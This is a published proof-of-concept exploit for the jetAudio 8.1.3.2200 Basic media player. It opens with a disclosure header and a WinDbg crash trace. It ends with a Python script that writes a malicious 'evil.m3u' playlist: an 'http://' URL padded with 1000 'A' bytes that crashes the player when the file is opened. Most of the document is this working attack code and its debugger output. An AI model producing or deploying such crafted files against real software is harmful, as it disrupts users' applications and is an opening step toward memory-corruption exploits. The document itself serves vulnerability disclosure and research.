# Exploit Title : jetAudio 8.1.3.2200 Basic (m3u) Crash POC
# Product : jetAudio Basic
# Date : 27.12.2014
# Exploit Author : Hadji Samir s-dz@hotmail.fr
# Software Link : http://www.jetaudio.com/download/
# Vulnerable version : 8.1.3.2200 Basic
# Vendor Homepage : http://www.jetaudio.com/
# Tested on : Windows 7 x86 fr
#============================================================================================
# Open created POC file (evil.m3u) with jetAudio
# Details
# ((2bb0.2a60): Break instruction exception - code 80000003 (first chance)
# eax=00000000 ebx=00000000 ecx=0012fb0c edx=76ed64f4 esi=fffffffe edi=00000000
# eip=76f2e60e esp=0012fb28 ebp=0012fb54 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
# ntdll!LdrVerifyImageMatchesChecksum+0x633:
# 76f2e60e cc int 3
#
# 0:000> kb
# ChildEBP RetAddr Args to Child
# WARNING: Stack unwind information not available. Following frames may be wrong.
# 0012fb54 76f0e2d1 7ffdf000 7ffd5000 76f6714c ntdll!LdrVerifyImageMatchesChecksum+0x633
# 0012fcb0 76ef8fc0 0012fd24 76e90000 7346e5a2 ntdll!RtlTimeToElapsedTimeFields+0x4e3d
# 0012fd00 76eeb2c5 0012fd24 76e90000 00000000 ntdll!vsnwprintf+0x3eb
# 0012fd10 00000000 0012fd24 76e90000 00000000 ntdll!LdrInitializeThunk+0x10
#============================================================================================
#!/usr/bin/python
from struct import pack
m3u = ("http://%s")
buf = "\x41" * 1000
m3u %= buf
fd = open("evil.m3u", "w")
fd.write(m3u)
fd.close()
